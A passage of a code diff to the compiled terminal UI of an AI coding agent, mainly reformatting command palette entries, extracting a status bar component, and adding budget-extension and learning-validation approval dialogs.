-        { id: 'reject', label: 'Reject Plan', shortcut: '/reject', category: 'Plan', action: () => handleCommand('reject', []) },
-        { id: 'tools', label: 'List Tools', shortcut: '/tools', category: 'Debug', action: () => handleCommand('tools', []) },
-        { id: 'tsc', label: 'TypeScript Check', shortcut: '/tsc', category: 'Diagnostics', action: () => handleCommand('tsc', []) },
-        { id: 'theme', label: 'Change Theme', shortcut: '/theme', category: 'Settings', action: () => handleCommand('theme', []) },
-        { id: 'exit', label: 'Exit', shortcut: 'Ctrl+C', category: 'General', action: () => agent.cleanup().then(() => exit()) },
+        {
+            id: 'help',
+            label: 'Help',
+            shortcut: '/help',
+            category: 'General',
+            action: () => handleCommand('help', []),
+        },
+        {
+            id: 'status',
+            label: 'Show Status',
+            shortcut: '/status',
+            category: 'General',
+            action: () => handleCommand('status', []),
+        },
+        {
+            id: 'clear',
+            label: 'Clear Screen',
+            shortcut: 'Ctrl+L',
+            category: 'General',
+            action: () => {
+                setMessages([]);
+                setToolCalls([]);
+            },
+        },
+        {
+            id: 'save',
+            label: 'Save Session',
+            shortcut: '/save',
+            category: 'Sessions',
+            action: () => handleCommand('save', []),
+        },
+        {
+            id: 'sessions',
+            label: 'List Sessions',
+            shortcut: '/sessions',
+            category: 'Sessions',
+            action: () => handleCommand('sessions', []),
+        },
+        {
+            id: 'load',
+            label: 'Load Session',
+            shortcut: '/load <id>',
+            category: 'Sessions',
+            action: () => handleCommand('sessions', []),
+        }, // Shows sessions, user types /load <id>
+        {
+            id: 'context',
+            label: 'Context Info',
+            shortcut: '/context',
+            category: 'Context',
+            action: () => handleCommand('context', []),
+        },
+        {
+            id: 'compact',
+            label: 'Compact Context',
+            shortcut: '/compact',
+            category: 'Context',
+            action: () => handleCommand('compact', []),
+        },
+        {
+            id: 'mcp',
+            label: 'MCP Servers',
+            shortcut: '/mcp',
+            category: 'MCP',
+            action: () => handleCommand('mcp', []),
+        },
+        {
+            id: 'mcp-tools',
+            label: 'MCP Tools',
+            shortcut: '/mcp tools',
+            category: 'MCP',
+            action: () => handleCommand('mcp', ['tools']),
+        },
+        {
+            id: 'plan',
+            label: 'Toggle Plan Mode',
+            shortcut: '/plan',
+            category: 'Plan',
+            action: () => handleCommand('plan', []),
+        },
+        {
+            id: 'show-plan',
+            label: 'Show Plan',
+            shortcut: '/show-plan',
+            category: 'Plan',
+            action: () => handleCommand('show-plan', []),
+        },
+        {
+            id: 'approve',
+            label: 'Approve Plan',
+            shortcut: '/approve',
+            category: 'Plan',
+            action: () => handleCommand('approve', []),
+        },
+        {
+            id: 'reject',
+            label: 'Reject Plan',
+            shortcut: '/reject',
+            category: 'Plan',
+            action: () => handleCommand('reject', []),
+        },
+        {
+            id: 'tools',
+            label: 'List Tools',
+            shortcut: '/tools',
+            category: 'Debug',
+            action: () => handleCommand('tools', []),
+        },
+        {
+            id: 'tsc',
+            label: 'TypeScript Check',
+            shortcut: '/tsc',
+            category: 'Diagnostics',
+            action: () => handleCommand('tsc', []),
+        },
+        {
+            id: 'theme',
+            label: 'Change Theme',
+            shortcut: '/theme',
+            category: 'Settings',
+            action: () => handleCommand('theme', []),
+        },
+        {
+            id: 'exit',
+            label: 'Exit',
+            shortcut: 'Ctrl+C',
+            category: 'General',
+            action: () => agent.cleanup().then(() => exit()),
+        },
     ], [handleCommand, agent, exit]);
     // Get filtered command palette items for current query
     const filteredCommandItems = useMemo(() => {
         if (!commandPaletteQuery)
             return commandPaletteItems;
         const q = commandPaletteQuery.toLowerCase();
-        return commandPaletteItems.filter(item => item.label.toLowerCase().includes(q) ||
+        return commandPaletteItems.filter((item) => item.label.toLowerCase().includes(q) ||
             item.id.toLowerCase().includes(q) ||
             (item.shortcut && item.shortcut.toLowerCase().includes(q)));
     }, [commandPaletteItems, commandPaletteQuery]);
@@ -2020,22 +2110,22 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         }
         // Arrow keys navigate
         if (key.upArrow) {
-            setCommandPaletteIndex(i => Math.max(0, i - 1));
+            setCommandPaletteIndex((i) => Math.max(0, i - 1));
             return;
         }
         if (key.downArrow) {
-            setCommandPaletteIndex(i => Math.min(filteredCommandItems.length - 1, i + 1));
+            setCommandPaletteIndex((i) => Math.min(filteredCommandItems.length - 1, i + 1));
             return;
         }
         // Backspace
         if (key.backspace || key.delete) {
-            setCommandPaletteQuery(q => q.slice(0, -1));
+            setCommandPaletteQuery((q) => q.slice(0, -1));
             setCommandPaletteIndex(0);
             return;
         }
         // Regular character input
         if (input && !key.ctrl && !key.meta) {
-            setCommandPaletteQuery(q => q + input);
+            setCommandPaletteQuery((q) => q + input);
             setCommandPaletteIndex(0);
         }
     }, [filteredCommandItems, commandPaletteIndex]);
@@ -2048,12 +2138,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         }
         // Backspace
         if (key.backspace || key.delete) {
-            setDenyReason(r => r.slice(0, -1));
+            setDenyReason((r) => r.slice(0, -1));
             return;
         }
         // Regular character input
         if (input && !key.ctrl && !key.meta) {
-            setDenyReason(r => r + input);
+            setDenyReason((r) => r + input);
         }
     }, [denyReason, handleDeny]);
     // =========================================================================
@@ -2065,7 +2155,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             clearTimeout(ctrlCTimerRef.current);
             ctrlCTimerRef.current = null;
         }
-        setCtrlCCount(prevCount => {
+        setCtrlCCount((prevCount) => {
             const newCount = prevCount + 1;
             if (newCount >= 2) {
                 // Second Ctrl+C within timeout window - force exit immediately
@@ -2074,7 +2164,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             // First Ctrl+C - show warning and start graceful cleanup
             addMessage('system', '[CTRL+C] Press again within 1s to force exit...');
             // Start graceful cleanup in background
-            agent.cleanup()
+            agent
+                .cleanup()
                 .then(() => mcpClient.cleanup())
                 .then(() => lspManager.cleanup())
                 .then(() => exit())
@@ -2092,7 +2183,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
         setToolCalls([]);
     }, []);
     const handleCtrlP = useCallback(() => {
-        setCommandPaletteOpen(prev => !prev);
+        setCommandPaletteOpen((prev) => !prev);
         setCommandPaletteQuery('');
         setCommandPaletteIndex(0);
     }, []);
@@ -2126,103 +2217,74 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
             }
             // Cancel the agent
             agent.cancel('Cancelled by ESC');
+            finishExecutionMode();
             setIsProcessing(false);
             addMessage('system', '[STOP] Cancelled (checkpoint saved)');
         }
-    }, [agent, addMessage, commandPaletteOpen, sessionStore, currentSessionId, saveCheckpointToStore, persistenceDebug, persistPendingPlanToStore]);
+    }, [
+        agent,
+        addMessage,
+        commandPaletteOpen,
+        sessionStore,
+        currentSessionId,
+        saveCheckpointToStore,
+        persistenceDebug,
+        persistPendingPlanToStore,
+        finishExecutionMode,
+    ]);
     const handleToggleToolExpand = useCallback(() => {
-        setToolCallsExpanded(prev => {
+        setToolCallsExpanded((prev) => {
             addMessage('system', !prev ? '[*] Tool details: expanded' : '[ ] Tool details: collapsed');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleThinking = useCallback(() => {
-        setShowThinking(prev => {
+        setShowThinking((prev) => {
             addMessage('system', !prev ? '[*] Thinking: verbose' : '[ ] Thinking: minimal');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleTransparency = useCallback(() => {
-        setTransparencyExpanded(prev => {
+        setTransparencyExpanded((prev) => {
             addMessage('system', !prev ? '[v] Transparency panel: visible' : '[^] Transparency panel: hidden');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleActiveAgents = useCallback(() => {
-        setActiveAgentsExpanded(prev => {
+        setActiveAgentsExpanded((prev) => {
             addMessage('system', !prev ? '[v] Active agents: visible' : '[^] Active agents: hidden');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleTasks = useCallback(() => {
-        setTasksExpanded(prev => {
+        setTasksExpanded((prev) => {
             addMessage('system', !prev ? '[v] Tasks: visible' : '[^] Tasks: hidden');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleDebug = useCallback(() => {
-        setDebugExpanded(prev => {
+        setDebugExpanded((prev) => {
             addMessage('system', !prev ? '[v] Debug panel: visible (Alt+D)' : '[^] Debug panel: hidden');
             return !prev;
         });
     }, [addMessage]);
     const handleToggleSwarm = useCallback(() => {
-        setSwarmExpanded(prev => !prev);
+        setSwarmExpanded((prev) => !prev);
     }, []);
     const handleToggleDiagnostics = useCallback(() => {
-        setDiagExpanded(prev => {
+        setDiagExpanded((prev) => {
             addMessage('system', !prev ? '[d] Diagnostics: visible (Alt+Y)' : '[^] Diagnostics: hidden');
             return !prev;
         });
     }, [addMessage]);
-    // Update context tokens (include system prompt overhead) and budget health
-    useEffect(() => {
-        const agentState = agent.getState();
-        const estimateTokens = (str) => estimateTokenCount(str);
-        const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
-        const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
-        setContextTokens(messageTokens + systemPromptTokens);
-        // Update budget health from economics system
-        const budgetUsage = agent.getBudgetUsage?.();
-        if (budgetUsage) {
-            setBudgetPct(Math.round(budgetUsage.percentUsed));
-        }
-    }, [status.tokens, messages.length, agent]);
-    // Track elapsed time
-    useEffect(() => {
-        if (isProcessing) {
-            processingStartRef.current = Date.now();
-            setElapsedTime(0);
-            const interval = setInterval(() => {
-                if (processingStartRef.current) {
-                    setElapsedTime(Math.floor((Date.now() - processingStartRef.current) / 1000));
-                }
-            }, 1000);
-            return () => clearInterval(interval);
-        }
-        else {
-            processingStartRef.current = null;
-            return undefined;
-        }
-    }, [isProcessing]);
-    const modelShort = (model || 'unknown').split('/').pop() || model || 'unknown';
-    const contextPct = Math.round((contextTokens / agent.getMaxContextTokens()) * 100);
-    const costStr = status.cost > 0 ? `$${status.cost.toFixed(4)}` : '$0.00';
+    // modelShort, contextPct, costStr, elapsedTime, budgetPct are now computed inside StatusBar
+    // Memoize DiagnosticsPanel props to avoid method calls in render body
+    const diagTypeCheckerState = useMemo(() => agent.getTypeCheckerState(), [agent]);
+    const diagAstCacheStats = useMemo(() => diagExpanded ? getASTCacheStats() : null, [diagExpanded, transparencyState]);
     // =========================================================================
     // RENDER
     // =========================================================================
-    return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) => (_jsx(MessageItem, { msg: m, colors: colors }, m.id)) }), _jsxs(Box, { flexDirection: "column", children: [toolCalls.length > 0 && (_jsxs(Box, { flexDirection: "column", marginBottom: 1, children: [_jsx(Text, { color: "#DDA0DD", bold: true, children: `Tools ${toolCallsExpanded ? '[-]' : '[+]'}` }), toolCalls.slice(-5).map(tc => (_jsx(ToolCallItem, { tc: tc, expanded: toolCallsExpanded, colors: colors }, `${tc.id}-${tc.status}`)))] })), transparencyExpanded && transparencyState && (_jsxs(Box, { flexDirection: "column", marginBottom: 1, borderStyle: "single", borderColor: colors.border, paddingX: 1, children: [_jsx(Text, { color: colors.accent, bold: true, children: "[v] Transparency Panel" }), _jsxs(Box, { marginLeft: 2, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "REASONING" }), transparencyState.lastRouting ? (_jsxs(_Fragment, { children: [_jsxs(Text, { color: colors.textMuted, children: ["  Routing: ", transparencyState.lastRouting.model] }), _jsxs(Text, { color: colors.textMuted, children: ["    ", transparencyState.lastRouting.reason] })] })) : (_jsx(Text, { color: colors.textMuted, children: "  Routing: (no routing decisions yet)" })), transparencyState.lastPolicy && (_jsxs(Text, { color: transparencyState.lastPolicy.decision === 'blocked' ? colors.error :
-                                            transparencyState.lastPolicy.decision === 'prompted' ? colors.warning : colors.success, children: ["Policy: ", transparencyState.lastPolicy.decision === 'allowed' ? '+' :
-                                                transparencyState.lastPolicy.decision === 'blocked' ? 'x' : '?', " ", transparencyState.lastPolicy.tool] }))] }), _jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "CONTEXT" }), transparencyState.contextHealth ? (_jsxs(_Fragment, { children: [_jsx(Text, { color: colors.textMuted, children: '  [' + '='.repeat(Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
-                                                    '-'.repeat(20 - Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
-                                                    '] ' + transparencyState.contextHealth.percentUsed + '%' }), _jsx(Text, { color: colors.textMuted, children: '  ' + (transparencyState.contextHealth.currentTokens / 1000).toFixed(1) + 'k / ' +
-                                                    (transparencyState.contextHealth.maxTokens / 1000).toFixed(0) + 'k tokens' }), _jsx(Text, { color: colors.textMuted, children: '  ~' + transparencyState.contextHealth.estimatedExchanges + ' exchanges remaining' })] })) : (_jsx(Text, { color: colors.textMuted, children: "  (no context data yet)" }))] }), transparencyState.activeLearnings.length > 0 && (_jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "MEMORY" }), _jsxs(Text, { color: colors.textMuted, children: ["  Learnings applied: ", transparencyState.activeLearnings.length] })] }))] })), pendingApproval && (_jsx(ApprovalDialog, { visible: true, request: {
-                            id: pendingApproval.id,
-                            tool: pendingApproval.tool || pendingApproval.action,
-                            args: pendingApproval.args || {},
-                            risk: pendingApproval.risk,
-                            context: pendingApproval.context,
-                        }, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? { lastTscResult: null, recentSyntaxErrors: [] }, typeCheckerState: agent.getTypeCheckerState(), astCacheStats: diagExpanded ? getASTCacheStats() : null, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval, borderColor: pendingApproval ? '#FFD700' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
+    return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) => _jsx(MessageItem, { msg: m, colors: colors }, m.id) }), _jsxs(Box, { flexDirection: "column", children: [_jsx(ToolCallsPanel, { toolCalls: toolCalls, expanded: toolCallsExpanded, colors: colors }), _jsx(TransparencyPanel, { transparencyState: transparencyState, expanded: transparencyExpanded, colors: colors }), pendingApproval && approvalRequest && (_jsx(ApprovalDialog, { visible: true, request: approvalRequest, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), pendingBudgetExtension && (_jsx(BudgetExtensionDialog, { visible: true, request: pendingBudgetExtension, onApprove: handleBudgetExtensionApprove, onDeny: handleBudgetExtensionDeny, colors: colors })), pendingLearning && (_jsx(LearningValidationDialog, { visible: true, learning: pendingLearning, onApprove: handleLearningApprove, onReject: handleLearningReject, onSkip: handleLearningSkip, colors: colors })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? EMPTY_DIAGNOSTICS, typeCheckerState: diagTypeCheckerState, astCacheStats: diagAstCacheStats, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(PlanPanel, { plan: activePlan, expanded: planExpanded, colors: colors }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval || !!pendingBudgetExtension || !!pendingLearning, borderColor: pendingApproval || pendingBudgetExtension ? '#FFD700' : pendingLearning ? '#87CEEB' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, budgetExtensionDialogOpen: !!pendingBudgetExtension, onBudgetExtensionApprove: handleBudgetExtensionApprove, onBudgetExtensionDeny: handleBudgetExtensionDeny, learningValidationDialogOpen: !!pendingLearning, onLearningApprove: handleLearningApprove, onLearningReject: handleLearningReject, onLearningSkip: handleLearningSkip, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
                             setCommandPaletteOpen(false);
                             setCommandPaletteQuery('');
                             setCommandPaletteIndex(0);
@@ -2231,16 +2293,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
                             setCommandPaletteOpen(false);
                             setCommandPaletteQuery('');
                             setCommandPaletteIndex(0);
-                        } })), _jsxs(Box, { borderStyle: "single", borderColor: isProcessing ? colors.info : colors.textMuted, paddingX: 1, justifyContent: "space-between", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: isProcessing ? colors.info : '#98FB98', bold: isProcessing, children: isProcessing ? '[~]' : '[*]' }), _jsx(Text, { color: isProcessing ? colors.info : colors.text, bold: isProcessing, children: status.mode.length > 40 ? status.mode.slice(0, 37) + '...' : status.mode }), isProcessing && elapsedTime > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| ", elapsedTime, "s"] }), status.iter > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| iter ", status.iter] })] }), _jsxs(Box, { gap: 2, children: [_jsx(Text, { color: "#DDA0DD", dimColor: true, children: modelShort }), _jsx(Text, { color: contextPct > 70 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'ctx:[' + '='.repeat(Math.min(8, Math.round((contextPct / 100) * 8))) +
-                                            '-'.repeat(Math.max(0, 8 - Math.round((contextPct / 100) * 8))) + '] ' +
-                                            contextPct + '%' }), budgetPct > 0 && (_jsx(Text, { color: budgetPct >= 80 ? '#FF6B6B' : budgetPct >= 50 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'bud:' + budgetPct + '%' })), _jsx(Text, { color: "#98FB98", dimColor: true, children: costStr }), gitBranch && _jsx(Text, { color: "#87CEEB", dimColor: true, children: gitBranch }), transparencyState?.activeLearnings && transparencyState.activeLearnings.length > 0 && (_jsxs(Text, { color: "#87CEEB", dimColor: true, children: ["L:", transparencyState.activeLearnings.length] })), agent.getTypeCheckerState()?.tsconfigDir && (() => {
-                                        const tscRes = transparencyState?.diagnostics?.lastTscResult;
-                                        if (!tscRes)
-                                            return _jsx(Text, { color: colors.textMuted, dimColor: true, children: "tsc:\u2014" });
-                                        if (tscRes.success)
-                                            return _jsx(Text, { color: "#98FB98", dimColor: true, children: "tsc:[ok]" });
-                                        return _jsxs(Text, { color: colors.error, dimColor: true, children: ["tsc:[X]", tscRes.errorCount] });
-                                    })(), _jsx(Text, { color: colors.textMuted, dimColor: true, children: "^P:help" })] })] })] })] }));
+                        } })), _jsx(StatusBar, { isProcessing: isProcessing, status: statusForBar, colors: colors, model: model, gitBranch: gitBranch, transparencyState: transparencyState, agent: agent })] })] }));
 }
 export default TUIApp;
 //# sourceMappingURL=app.js.map